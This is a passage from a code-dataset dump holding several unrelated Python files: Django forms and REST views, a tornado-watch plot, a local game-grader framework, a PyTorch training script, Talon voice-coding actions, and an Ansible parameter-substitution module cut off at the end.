self.fields['last_work_period'].disabled = True\n self.fields['registration_address'].disabled = True\n self.fields['place_of_birth'].disabled = True\n\n if self.instance:\n if not self.is_bound:\n try:\n region_code = self.instance.city.region.code\n if region_code:\n self.fields['region'].initial = region_code\n self.fields['city'].queryset = Cities.objects.filter(region=region_code).order_by('name')\n else:\n self.fields['city'].queryset = Cities.objects.none()\n except Exception as e:\n self.fields['city'].queryset = Cities.objects.none()\n\n self.helper.layout.append(\n Fieldset(\n 'Место работы',\n Div(Field('region',\n wrapper_class='col-md-2'),\n Field('city',\n wrapper_class='col-md-2'),\n Field('selling_office',\n wrapper_class='col-md-2'),\n Field('position',\n wrapper_class='col-md-3'),\n Field('start_work_date',\n wrapper_class='col-md-2'),\n Field('regulations',\n wrapper_class='col-md-1'),\n css_class='form-row')))\n self.helper.layout.append(\n Fieldset(\n 'Паспортные данные',\n Div(\n # Field('full_name', placeholder='', wrapper_class='col-md-5'),\n Field('last_name', placeholder='', wrapper_class='col-md-3'),\n Field('first_name', placeholder='', wrapper_class='col-md-3'),\n Field('middle_names', placeholder='', wrapper_class='col-md-3'),\n Field('sex', wrapper_class='col-md-1'),\n Field('birth_date', placeholder='ДД.ММ.ГГГГ', wrapper_class='col-md-2'),\n css_class='form-row'\n ),\n Div(\n Field('passport_ser', placeholder='',\n wrapper_class='col-md-2'),\n Field('passport_num', placeholder='',\n wrapper_class='col-md-2'),\n Field('passport_date', placeholder='ДД.ММ.ГГГГ',\n wrapper_class='col-md-2'),\n Field('place_of_birth', wrapper_class='col-md-2'),\n Field('registration_address', wrapper_class='col-md-4'),\n css_class='form-row'\n )\n )\n )\n self.helper.layout.append(\n Fieldset(\n 'Предыдущее место работы',\n Div(\n Field('last_work_place',\n wrapper_class='col-md-5'),\n Field('last_work_place_region',\n wrapper_class='col-md-4'),\n Field('last_work_period',\n wrapper_class='col-md-3'),\n css_class='form-row'\n ),\n )\n )\n # self.helper.layout.append(\n # Fieldset(\n # 'Адрес',\n # Div(\n # Field('registration_address',\n # wrapper_class='col-md-7'),\n # css_class='form-row'\n # ),\n # )\n # )\n # self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n else:\n pass\n\n def clean(self):\n cleaned_data = super().clean()\n city = cleaned_data.get(\"city\")\n region = cleaned_data.get(\"region\")\n if region and not city:\n raise forms.ValidationError(\"Выберите город из списка\")\n else:\n return cleaned_data\n\n class Meta:\n model = Candidate\n fields = ['city', 'position', 'selling_office', 'regulations', 'start_work_date',\n 'last_name', 'first_name', 'middle_names', 'sex', # 'full_name',\n 'birth_date', 'place_of_birth', 'registration_address',\n 'passport_ser', 'passport_num', 'passport_date',\n 'last_work_place', 'last_work_place_region', 'last_work_period', 'security_solution']\n\n\nclass CandidateUpdForm2 (forms.ModelForm):\n full_name2 = forms.CharField(label=\"ФИО в родительном падеже\", required=False,\n widget=forms.TextInput(attrs={'style': 'font-size: large'}))\n snils = forms.CharField(label=\"СНИЛС\", required=False,\n widget=forms.TextInput(attrs={'style': 'font-size: large'}))\n\n def __init__(self, *args, **kwargs):\n quest_id = kwargs.pop('quest_id', None)\n if quest_id:\n try:\n quest_code = Questionnaire.objects.values('code').get(id=quest_id)\n except Questionnaire.DoesNotExist:\n quest_code = ''\n\n super(CandidateUpdForm2, self).__init__(*args, **kwargs)\n self.instance = kwargs.get('instance', None)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout()\n if self.instance:\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n if quest_code['code'] == 'SNILS':\n self.helper.layout.append(\n Fieldset(\n 'Укажите данные для автоматической генерации документа',\n Div(\n Field('full_name2',\n wrapper_class='col-md-12'),\n css_class='form-row'\n )))\n elif quest_code['code'] == 'REQ_SNILS':\n self.helper.layout.append(\n Fieldset(\n 'Укажите данные для автоматической генерации документа',\n Div(\n Field('full_name2',\n wrapper_class='col-md-6'),\n Field('snils',\n wrapper_class='col-md-6'),\n css_class='form-row'\n )))\n # self.helper.layout.append(Div(Field('full_name2'), css_class='col-md-6'))\n # self.helper.layout.append(Div(Field('snils'), css_class='col-md-3'))\n self.helper.layout.append(HTML(\"\"\"
\"\"\"))\n else:\n pass\n\n class Meta:\n model = Candidate\n fields = [\"full_name2\", \"snils\"]\n","sub_path":"candidate/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":29870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"82614607","text":"from django.http import Http404\n\nfrom datetime import date\n\nfrom rest_framework import viewsets, permissions, generics, filters, status\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework.pagination import PageNumberPagination\n\nfrom ..models import Task\nfrom .serializer import \\\n TaskDetailSerializer, \\\n TasksIndexSerializer, \\\n UserTasksSerializer, \\\n UpdateTaskStatusSerializer, \\\n CreateTaskSerializer\nfrom .permission import IsOwnerOrReadOnly\n\n\nclass TasksViewset(viewsets.ModelViewSet):\n permission_classes = (permissions.IsAdminUser,)\n queryset = Task.objects.all()\n serializer_class = TaskDetailSerializer\n\n\nclass TasksIndexAPIView(APIView):\n filter_backends = (filters.SearchFilter,)\n search_fields = ('name', 'description', 'creator__username')\n\n def get_queryset(self):\n return Task.objects.all()\n\n def filter_queryset(self, queryset):\n for obj in list(self.filter_backends):\n queryset = obj().filter_queryset(self.request, queryset, self)\n return queryset\n\n def check_if_tasks_are_delayed(self, queryset):\n checked_tasks = queryset\n for task in checked_tasks:\n if task.completion_date <= date.today() and task.status == 'Unfinished':\n task.warning_if_delayed = 'This task is delayed'\n task.save()\n else:\n task.warning_if_delayed = ''\n task.save()\n return checked_tasks\n\n def get(self, request):\n tasks_filter = self.filter_queryset(self.get_queryset())\n tasks_index = self.check_if_tasks_are_delayed(tasks_filter)\n pagination_class = PageNumberPagination()\n page = pagination_class.paginate_queryset(tasks_index, request)\n serializer = TasksIndexSerializer(page, many=True)\n return pagination_class.get_paginated_response(serializer.data)\n\n\nclass TaskDetailAPIView(APIView):\n\n def get_object(self, pk):\n try:\n return Task.objects.get(pk=pk)\n except Task.DoesNotExist:\n raise Http404\n\n def check_if_task_is_delayed(self, task):\n checked_task = task\n if checked_task.completion_date <= date.today() and checked_task.status == 'Unfinished':\n checked_task.warning_if_delayed = 'This task is delayed'\n checked_task.save()\n else:\n checked_task.warning_if_delayed = ''\n checked_task.save()\n return checked_task\n\n def get(self, request, pk):\n obtained_task = self.get_object(pk)\n task = self.check_if_task_is_delayed(obtained_task)\n serializer = TaskDetailSerializer(task)\n return Response(serializer.data)\n\n\nclass UserTasksAPIView(APIView):\n permission_classes = (permissions.IsAuthenticated,)\n\n def get_queryset(self):\n return Task.objects.filter(creator=self.request.user)\n\n def check_if_tasks_are_delayed(self, queryset):\n checked_tasks = queryset\n for task in checked_tasks:\n if task.completion_date <= date.today() and task.status == 'Unfinished':\n task.warning_if_delayed = 'This task is delayed'\n task.save()\n else:\n task.warning_if_delayed = ''\n task.save()\n return checked_tasks\n\n def get(self, request):\n user_tasks = self.get_queryset()\n tasks = self.check_if_tasks_are_delayed(user_tasks)\n serializer = UserTasksSerializer(tasks, many=True)\n return Response(serializer.data)\n\n def post(self, request):\n serializer = CreateTaskSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save(creator=self.request.user,)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass TaskUpdateStatusAPIView(generics.RetrieveUpdateAPIView):\n queryset = Task.objects.all()\n serializer_class = UpdateTaskStatusSerializer\n permission_classes = [IsOwnerOrReadOnly]\n\n","sub_path":"ToDo_list/tasks/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334864496","text":"import matplotlib.pyplot as plt\nimport math\nimport numpy\n\nreports0 = []\ndirs0 = []\nsped0 = []\nreports1 = []\ndirs1 = []\nsped1 = []\n\nreports2 = []\ndirs2 = []\nsped2 = []\n\nfor line in open('data').readlines():\n r,d,s = line.split(\",\")\n if float(r) == 0:\n reports0.append( float(r) )\n dirs0.append( float(d) )\n sped0.append( float(s) )\n elif float(r) < 5:\n reports1.append( float(r) )\n dirs1.append( float(d) )\n sped1.append( float(s) )\n else:\n reports2.append( float(r) )\n dirs2.append( float(d) )\n sped2.append( float(s) )\n\nreports0 = numpy.array(reports0)\ndirs0 = numpy.array( dirs0 )\nsped0 = numpy.array( sped0 )\n\nreports1 = numpy.array(reports1)\ndirs1 = numpy.array( dirs1 )\nsped1 = numpy.array( sped1 )\n\nreports2 = numpy.array(reports2)\ndirs2 = numpy.array( dirs2 )\nsped2 = numpy.array( sped2 )\n\nimport matplotlib.pyplot as plt\n\nfig = plt.figure(figsize=(8,8))\nax = fig.add_subplot(111, polar=True)\n\n\ntheta_angles = numpy.arange(0, 360, 45)\ntheta_labels = ['E', 'NE', 'N', 'NW', 'W', 'SW', 'S', 'SE']\nax.set_thetagrids(angles=theta_angles, labels=theta_labels)\n#ax.set_rgrids(numpy.arange(0,30,5), angle=math.pi)\n\nax.set_title(\"SPC Tornado Watches in Iowa [1 Jan 2002 - 9 Jul 2011]\\nWatch Box Mean Wind [kts] and Tornado Reports\")\nax.scatter( - dirs0 + math.pi/2., sped0 / 0.514, marker='x', s=50, label='No Reports')\nax.scatter( - dirs1 + math.pi/2., sped1 / 0.514, marker='o', s=50, c='b', label='1-4')\nax.scatter( - dirs2 + math.pi/2., sped2 / 0.514, marker='o', s=50, c='r', label='5+')\nl = ax.legend(loc=(0.1,0.6))\n\n\nfig.savefig('test.ps')\nimport iemplot\niemplot.makefeature('test')","sub_path":"scripts/spc/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"404617116","text":"# framework for running the graders on our machines locally\n\nimport json\nfrom collections import namedtuple\nfrom contextlib import ExitStack\nimport random\n\nREPLAY_DIR = \"replays\" # relative to here, will be mkdired\n\n# interfaces\n\nCodeboxClass = []\n\nclass AbstractCodebox:\n HistoryEntry = namedtuple('HistoryEntry', 'event, kind, details')\n\n def __init__(self):\n self.hist = []\n self.keep_log = True\n self.alive = False\n\n def log(self, **kwargs):\n if self.keep_log: self.hist.append(self.HistoryEntry(**kwargs))\n\n def interaction_log(self):\n return self.hist\n \n def kill(self):\n if self.alive:\n self.alive = False\n self.destroy_box()\n err = self.get_stderr().strip()\n if err:\n # print(\"Program exited with error:\")\n print(err.decode())\n self.log(event='exit', kind='error', details=str(err))\n \n def restart(self):\n self.kill()\n self.initialize_box()\n self.alive = True\n self.log(event='restart', kind='ok', details=None)\n \n def write(self, data):\n if not self.alive:\n self.log(event='write', kind='skipped', details=None)\n return\n dumped = json.dumps(data)\n try:\n self.write_raw(dumped.encode() + b\"\\n\")\n self.log(event='write', kind='ok', details=dumped)\n except Exception as e:\n self.log(event='write', kind='error', details=str(e))\n self.kill()\n \n def read(self):\n if not self.alive:\n self.log(event='read', kind='skipped', details=None)\n return\n try:\n line = self.read_raw().strip()\n self.log(event='read', kind='ok', details=str(line))\n data = json.loads(line)\n return data\n except Exception as e:\n self.log(event='read', kind='error', details=str(e))\n self.kill()\n\n def __enter__(self):\n self.initialize_box()\n self.alive = True\n return self\n\n def __exit__(self, *args):\n self.kill()\n return False\n\ndef do_save_replay(game_name, replay_name, score, data):\n import os, time\n file_name = os.path.join(REPLAY_DIR, f\"{game_name}_{int(time.time())}_{score}_{replay_name}.json\")\n with open(file_name, \"w\") as f:\n f.write(json.dumps(data))\n\nclass OptGrader:\n def grade(self, inp, codebox):\n if inp['seed'] is None:\n inp['seed'] = random.randrange(1 << 30)\n\n with codebox.of_player_config(code=inp['code'], config=self.config) as cb:\n random.seed(inp['seed'])\n return self.optgrade(inp['gen'], cb)\n\n def test(self, source, gen, name=\"\", save_replay=False, seed=None, record_logs=False):\n player = {'code': open(source).read(), 'src_loc': source}\n\n if seed is None: seed = random.randrange(1 << 30)\n result = self.grade({'gen': gen, 'code': player, 'seed': seed}, Codebox)\n\n if not record_logs: del result['playerlogs']\n\n if save_replay:\n do_save_replay(self.name.lower(), name, result['summary'], result)\n else:\n print(result)\n \n def run(self):\n data = json.loads(input())\n task = json.loads(data['task'])\n gens = self.get_batch(task['gen'])\n res = [self.grade({ 'gen': gen, 'seed': seed, 'code': data['code']}, CodeboxClass[0]) for gen,seed in gens]\n\n print(json.dumps({\n 'summary': sum(r['summary'] for r in res),\n 'history': [r['history'] for r in res],\n 'playerlogs': [r['playerlogs'] for r in res],\n }))\n\nclass AIGrader:\n def grade(self, inp, codebox_cls):\n with ExitStack() as stack:\n players = [\n stack.enter_context(codebox_cls.of_player_config(\n code=player,\n config=self.config))\n for player in inp]\n result = self.aigrade(players)\n return result\n\n def test(self, sources, name=\"\", save_replay=True, record_logs=False):\n players = [{'code': open(src_loc).read(), 'src_loc': src_loc} for src_loc in sources]\n result = self.grade(players, Codebox)\n if not record_logs: del result['playerlogs']\n if save_replay:\n do_save_replay(self.name.lower(), name, max(x for x in result['summary']), result)\n else:\n print(result)\n\n def run(self):\n print(json.dumps(self.grade(json.loads(input()), CodeboxClass[0])))\n\n# sample competitor implementation, just runs file in place\n\nimport subprocess\nimport sys\nfrom threading import Timer\n\nclass Codebox(AbstractCodebox):\n def __init__(self, src_loc, config):\n super().__init__()\n self.config = config\n self.src_loc = src_loc\n self.timer_killed = False\n\n @classmethod\n def of_player_config(cls, code, config):\n return cls(code['src_loc'], config)\n\n def timer_kill(self):\n self.proc.kill()\n self.timer_killed = True\n\n def write_raw(self, data):\n try:\n t = Timer(self.config['timeout'], lambda: self.timer_kill())\n t.start()\n self.proc.stdin.write(data)\n self.proc.stdin.flush()\n finally:\n t.cancel()\n if self.timer_killed: raise Exception(\"timed out\")\n def read_raw(self):\n try:\n t = Timer(self.config['timeout'], lambda: self.timer_kill())\n t.start()\n return self.proc.stdout.readline()\n finally:\n t.cancel()\n if self.timer_killed: raise Exception(\"timed out\")\n def get_stderr(self):\n return self.proc.stderr.read()\n def initialize_box(self):\n self.proc = subprocess.Popen(\n [sys.executable, self.src_loc],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n def destroy_box(self):\n self.proc.kill()\n","sub_path":"Other/CMIMC/handout/local_test_framework.py","file_name":"local_test_framework.py","file_ext":"py","file_size_in_byte":5999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"58055174","text":"import json\nimport os, sys\nimport argparse\nimport pickle as pk\nimport gc\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport numpy as np\nsys.path.append('../../')\nsys.path.append('../pygcn/pygcn/')\nfrom tqdm import tqdm\n\n\nfrom torch.utils.data import DataLoader\nfrom mydataloader import *\nfrom helper import augment_bbox\n\npreprocessed_dire = '../../dataset/VRD/'\nsave_dire = './saved_model/'\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--epochs', type=int, default=10)\nparser.add_argument('--seed', type=int, default=42, help='Random seed.')\nparser.add_argument('--semantic_loss_weight', type=float, default=0.0005)\nargs = parser.parse_args()\n\npreprocessed_annotation_train = {}\npreprocessed_image_features_train = {}\npreprocessed_annotation_test = {}\npreprocessed_image_features_test = {}\n\ninfo_train = {}\ninfo_test = {}\n\nwith open(preprocessed_dire + 'preprocessed_annotation_train.pk', 'rb') as f:\n while True:\n try:\n img_name = pk.load( f)\n subSet = pk.load( f)\n preprocessed_annotation_train[img_name] = subSet\n except EOFError:\n break\nwith open(preprocessed_dire + 'preprocessed_image_features_train.pk', 'rb') as f:\n while True:\n try:\n img_name = pk.load( f)\n subSet = pk.load( f)\n preprocessed_image_features_train[img_name] = subSet\n except EOFError:\n break\nwith open(preprocessed_dire + 'preprocessed_annotation_test.pk', 'rb') as f:\n while True:\n try:\n img_name = pk.load( f)\n subSet = pk.load( f)\n preprocessed_annotation_test[img_name] = subSet\n except EOFError:\n break\nwith open(preprocessed_dire + 'preprocessed_image_features_test.pk', 'rb') as f:\n while True:\n try:\n img_name = pk.load( f)\n subSet = pk.load( f)\n preprocessed_image_features_test[img_name] = subSet\n except EOFError:\n break\n\nwith open(preprocessed_dire + 'info_train.pk', 'rb') as f:\n while True:\n try:\n img_name = pk.load( f)\n subSet = pk.load( f)\n info_train[img_name] = subSet\n except EOFError:\n break\nwith open(preprocessed_dire + 'info_test.pk', 'rb') as f:\n while True:\n try:\n img_name = pk.load( f)\n subSet = pk.load( f)\n info_test[img_name] = subSet\n except EOFError:\n break\n\n\ndef remove_tensor(info):\n info_clearn = []\n for pair in range(len(info)):\n info_clearn.append([])\n for iii in range(len(info[pair])):\n if iii == 0:\n info_clearn[-1].append(info[pair][iii][0])\n else:\n info_clearn[-1].append([])\n for jjj in range(len(info[pair][iii])):\n if jjj == 0:\n info_clearn[-1][-1].append(int(info[pair][iii][jjj][0]))\n else:\n info_clearn[-1][-1].append([])\n for kkk in range(len(info[pair][iii][jjj])):\n info_clearn[-1][-1][-1].append(int(info[pair][iii][jjj][kkk][0]))\n return info_clearn\n\n\nclass Relation_Pred(nn.Module):\n def __init__(self, MLP_hidden=30, num_relations=71):\n super(Relation_Pred, self).__init__()\n self.num_relations = num_relations\n\n self.num_features = 512\n self.num_labelvec = 300\n self.num_latent = 512\n\n\n self.MLP = nn.Sequential(nn.Linear(self.num_features + 2 * self.num_labelvec + 8, self.num_latent),\n nn.ReLU(),\n nn.Linear(self.num_latent, self.num_relations))\n\n def forward(self, inputs):\n\n prediction = self.MLP(inputs)\n return prediction\n\ndef semantic_loss(y_mlp):\n prob = torch.sigmoid(y_mlp)\n wmc_tmp = torch.zeros_like(prob)\n for i in range(y_mlp.shape[1]):\n one_situation = torch.ones_like(y_mlp).scatter_(1,torch.zeros_like(y_mlp[:,0]).fill_(i).unsqueeze(-1).long(),0)\n wmc_tmp[:,i] = torch.abs((one_situation - prob).prod(dim=1))\n #omp = 1.0 - prob\n #omp[:,i] = prob[:,i]\n #wmc_tmp[:,i] = omp.prod(dim=1)\n\n wmc_tmp = -1.0*torch.log(wmc_tmp.sum(dim=1))\n return wmc_tmp\n\n# Training\nnum_epoches = args.epochs\nlearning_rate = 0.001\nbatch_size = 1\nsemantic_loss_weight = args.semantic_loss_weight\nweg_name = '.weg'+str(semantic_loss_weight)\nseed_name = '.seed'+str(args.seed)\nnp.random.seed(args.seed)\ntorch.manual_seed(args.seed)\n\nmodel = Relation_Pred().cuda()\ncriterion = nn.CrossEntropyLoss()\n\n\noptimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\ntrain_set_keys = list(preprocessed_annotation_train.keys())\ntest_set_keys = list(preprocessed_annotation_test.keys())\n\ntrain_set = VRD_dataset(train_set_keys, preprocessed_image_features_train, preprocessed_annotation_train, info_train)\ntrain_dataloader = DataLoader(train_set, batch_size=batch_size, shuffle=True, num_workers=0)\n\ntest_set = VRD_dataset_test(test_set_keys, preprocessed_image_features_test, preprocessed_annotation_test, info_test)\ntest_dataloader = DataLoader(test_set, batch_size=batch_size, shuffle=False, num_workers=0)\n\n\n\n# test dataset\ndef run_test(model_test, k=5):\n model_test.eval()\n with torch.no_grad():\n correct = 0\n total = 0\n avg_loss = None\n for i, batch in tqdm(enumerate(test_dataloader), total=len(test_dataloader)):\n x, y, info = batch\n x = x.squeeze(0).cuda()\n y = y.squeeze(0).cuda()\n info = remove_tensor(info)\n\n x = augment_bbox(x, info)\n\n prediction = model_test(x)\n loss = F.nll_loss(F.log_softmax(prediction,dim=1), y)\n if avg_loss is None:\n avg_loss = loss\n else:\n avg_loss += loss\n\n # _, predicted = torch.max(prediction.data, 1)\n _, predicted = torch.topk(prediction.data, k)\n pred = predicted.t()\n correct_num = pred.eq(y.view(1, -1).expand_as(pred))\n correct_k = correct_num[:k].view(-1).float().sum(0, keepdim=True)\n\n total += y.size(0)\n correct += correct_k[0]\n avg_loss = avg_loss / i\n acc = correct / total\n return avg_loss, acc\n\nloss_save = {}\nloss_save['train_avgloss_all'] = []\nloss_save['train_avgloss_ce'] = []\nloss_save['test_avgloss'] = []\nloss_save['train_acc'] = []\nloss_save['test_acc'] = []\nloss_by_iter = []\nceloss_by_iter = []\n\nmodel.train()\nbest_acc = 0\nfor iter in range(num_epoches):\n print('\\n Iteration: ', iter)\n correct = 0\n total = 0\n avg_loss_all = None\n avg_loss_ce = None\n for i, batch in tqdm(enumerate(train_dataloader), total=len(train_dataloader)):\n gc.collect()\n x, y, info = batch\n x = x.squeeze(0).cuda()\n y = y.squeeze(0).cuda()\n info = remove_tensor(info)\n\n x = augment_bbox(x, info)\n\n prediction = model(x)\n\n loss_entropy = F.nll_loss(F.log_softmax(prediction,dim=1), y)\n logic_loss = semantic_loss(prediction)\n loss = (loss_entropy + semantic_loss_weight * logic_loss).mean()\n\n loss_by_iter.append(float(loss))\n celoss_by_iter.append(float(loss_entropy))\n\n # calcuate the avg loss and accuracy\n if avg_loss_all is None:\n avg_loss_all = loss\n avg_loss_ce = loss_entropy\n else:\n avg_loss_all += loss\n avg_loss_ce += loss_entropy\n\n _, predicted = torch.max(prediction.data, 1)\n total += y.size(0)\n correct += (predicted == y).sum().item()\n\n # back propagation\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n avg_loss_all = avg_loss_all / i\n avg_loss_ce = avg_loss_ce / i\n acc = correct / total\n loss_save['train_avgloss_all'].append(float(avg_loss_all))\n loss_save['train_avgloss_ce'].append(float(avg_loss_ce))\n loss_save['train_acc'].append(float(acc))\n print('Train Acc: {:0.4f} '.format(acc))\n print('Train AvgLoss_ALL: {:0.4f}'.format(avg_loss_all))\n print('Train AvgLoss_CE: {:0.4f}'.format(avg_loss_ce))\n\n if not os.path.exists(save_dire):\n os.mkdir(save_dire)\n\n # test model for this epoch\n test_avg_loss, test_acc = run_test(model)\n if test_acc > best_acc:\n best_acc = test_acc\n # save model for this epoch\n torch.save(model, save_dire + \"MLP{}{}.best\".format(seed_name,weg_name))\n torch.save(model, save_dire + \"MLP{}{}.latest\".format(seed_name,weg_name))\n \n loss_save['test_avgloss'].append(float(test_avg_loss))\n loss_save['test_acc'].append(float(test_acc))\n print('Test Acc: {:0.4f} '.format(test_acc) )\n print('Test AvgLoss_CE: {:0.4f}'.format(test_avg_loss))\n test_avg_loss, test_acc = run_test(model,k=1)\n print('Test Acc: {:0.4f} k=1'.format(test_acc) )\n print('Test AvgLoss_CE: {:0.4f} k=1'.format(test_avg_loss))\n\n # re-write the file\n json.dump(loss_save, open(save_dire + 'loss_save', 'w'), ensure_ascii=False)\n\n if not os.path.exists('./acc_loss/'):\n os.mkdir('./acc_loss/')\n json.dump(loss_save, open('./acc_loss/' + \"MLP{}{}.best\".format(seed_name,weg_name), 'w'),\n ensure_ascii=False)\n json.dump(loss_by_iter,\n open('./acc_loss/' + \"MLP{}{}.best\".format(seed_name,weg_name) + '.loss_by_iter',\n 'w'),\n ensure_ascii=False)\n json.dump(celoss_by_iter,\n open('./acc_loss/' + \"MLP{}{}.best\".format(seed_name,weg_name) + '.celoss_by_iter',\n 'w'),\n ensure_ascii=False)\n\nprint(f\"Best test acc: {max(loss_save['test_acc'])}, at epoch: {np.argmax(loss_save['test_acc'])}\")\n\n# load model to do the testing\nmodel_test = torch.load(save_dire + \"MLP{}{}.best\".format(seed_name,weg_name))\nmodel_test = model_test.cuda()\ntest_avg_loss, test_acc = run_test(model_test)\nprint('The final test avgloss: {:0.4f}; final test acc is: {:0.4f} k=5'.format(test_avg_loss, test_acc))\ntest_avg_loss, test_acc = run_test(model_test,k=1)\nprint('The final test avgloss: {:0.4f}; final test acc is: {:0.4f} k=1'.format(test_avg_loss, test_acc))","sub_path":"model/relation_prediction_semantic_loss/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"162250468","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('register', '0007_auto_20150611_0320'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='cliente',\n name='email',\n field=models.EmailField(max_length=254, default=datetime.datetime(2015, 6, 22, 13, 55, 46, 84872, tzinfo=utc)),\n preserve_default=False,\n ),\n migrations.AlterField(\n model_name='proveedor',\n name='cliente',\n field=models.OneToOneField(to='register.Cliente'),\n ),\n ]\n","sub_path":"AQuienLlamo/register/migrations/0008_auto_20150622_1355.py","file_name":"0008_auto_20150622_1355.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486361195","text":"from talon import Context, actions, ui, Module\nimport re\nimport os \nctx = Context()\nkey = actions.key\n\nextension_lang_map = {\n \"py\": \"python\",\n \"cs\": \"csharp\",\n \"cpp\": \"cplusplus\",\n \"h\": \"cplusplus\",\n \"talon\": \"talon\",\n \"gdb\": \"gdb\",\n \"md\": \"markdown\",\n \"sh\": \"bash\",\n \"go\": \"go\"\n}\n\n# The [^\\\\\\/] is specifically to avoid matching something like a .talon folder\n# that would otherwise cause the .talon file action to load\nforced_language = False\n\n@ctx.action_class('code')\nclass code_actions:\n def language(): \n result = \"\"\n if not forced_language:\n file_extension = actions.win.file_ext()\n file_name = actions.win.filename()\n\n if file_extension != \"\":\n result = file_extension\n #it should always be the last split...\n elif file_name != \"\" and \".\" in file_name:\n result = file_name.split(\".\")[-1]\n\n if result in extension_lang_map:\n result = extension_lang_map[result]\n \n #print(\"code.language: \" + result)\n return result\n\nmod = Module()\n\n#create a mode for each defined language\nfor __, lang in extension_lang_map.items():\n mod.mode(lang)\n\n@mod.action_class\nclass Actions:\n def code_set_language_mode(language: str):\n \"\"\"Sets the active language mode, and disables extension matching\"\"\"\n global forced_language\n for __, lang in extension_lang_map.items():\n if lang != language:\n actions.mode.disable(\"user.{}\".format(lang))\n else:\n actions.mode.enable(\"user.{}\".format(lang))\n\n forced_language = True\n\n def code_clear_language_mode():\n \"\"\"Clears the active language mode, and re-enables code.language: extension matching\"\"\"\n global forced_language\n forced_language = False\n\n for __, lang in extension_lang_map.items():\n actions.mode.disable(\"user.{}\".format(lang))\n\n\n ","sub_path":"code/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"475291275","text":"#!/usr/bin/python\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nfrom ansible.module_utils.basic import AnsibleModule\nimport os\nimport re\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['stableinterface'],\n 'supported_by': 'core'}\n\n\n# The AnsibleModule object\nmodule = None\n\nclass AnsibleModuleError(Exception):\n def __init__(self, results):\n self.results = results\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n param_file=dict(type='str'),\n script_file=dict(type='str')\n ),\n supports_check_mode=True\n )\n\n param_file = module.params['param_file']\n script_file = module.params['script_file']\n changed = False\n script_dict = dict()\n param_dict = dict()\n param_regex = re.compile(r\"^\\s*\\b\\w+\\b\\s+(\\w+)=(.*$)\")\n script_regex = re.compile(r\"\\${?\\s*\\w+\\s*}?\")\n filedata = ''\n\n if os.path.exists(param_file):\n if os.path.islink(param_file):\n param_file = os.path.realpath(param_file)\n if not os.access(param_file, os.R_OK) and not os.path.isfile(param_file):\n module.fail_json(msg=\"Destination %s not readable\" % (os.path.dirname(param_file)))\n else:\n if not os.path.exists(os.path.dirname(param_file)):\n try:\n os.stat(os.path.exists(param_file))\n except OSError as e:\n if \"permission denied\" in to_native(e).lower():\n module.fail_json(msg=\"Parameter's file directory %s is not accessible\"\\\n % (os.path.dirname(param_file)))\n module.fail_json(msg=\"Parameter's file directory %s does not exist\" % (os.path.dirname(param_file)))\n\n if os.path.exists(script_file):\n if os.path.islink(script_file):\n script_file = os.path.realpath(script_file)\n if not os.access(script_file, os.R_OK) and not os.access(script_file, os.W_OK)\\\n and not os.path.isfile(script_file):\n module.fail_json(msg=\"Destination %s not writable\" % (os.path.dirname(script_file)))\n else:\n if not os.path.exists(os.path.dirname(script_file)):\n try:\n os.stat(os.path.exists(script_file))\n except OSError as e:\n if \"permission denied\" in to_native(e).lower():\n module.fail_json(msg=\"Script's file directory %s is not accessible\"\\\n % (os.path.dirname(script_file)))\n module.fail_json(msg=\"Script's file directory %s does not exist\" % (os.path.dirname(script_file)))\n\n with open(param_file, 'r') as fd:\n for line in fd:\n result = param_regex.search(line)\n if result:\n param_dict[result.group(1).strip()] = result.group(2).strip('\\\"\\'')\n\n with open(script_file, 'r') as fd:\n for line in fd:\n result = script_regex.findall(line)\n if result:\n for var in result:\n if var not in script_dict:\n script_dict[re.sub(r'[${}]', '', var).strip()] = var.strip()\n\n if not param_dict:\n module.fail_json(msg=\"Module wasn't able to parse parameter's file, dictionary is empty\")\n\n if not script_dict:\n module.fail_json(msg=\"Module wasn't able to parse variable in script file, dictionary is empty\")\n\n try:\n with open(script_file, 'r') as fd:\n filedata = fd.read()\n for key in script_dict:\n filedata = filedata.replace(script_dict[key], param_dict[key])\n except KeyError:\n module.fail_json(msg=\"Variable name mismatching between parameters file and script file\")\n\n if not module.check_mode:\n with open(script_file, 'r+') as fd:\n fd.write(filedata)\n changed = True\n\n result = dict(changed=changed)\n module.exit_json(**result)\n\nif __name__ == '__main__':\n 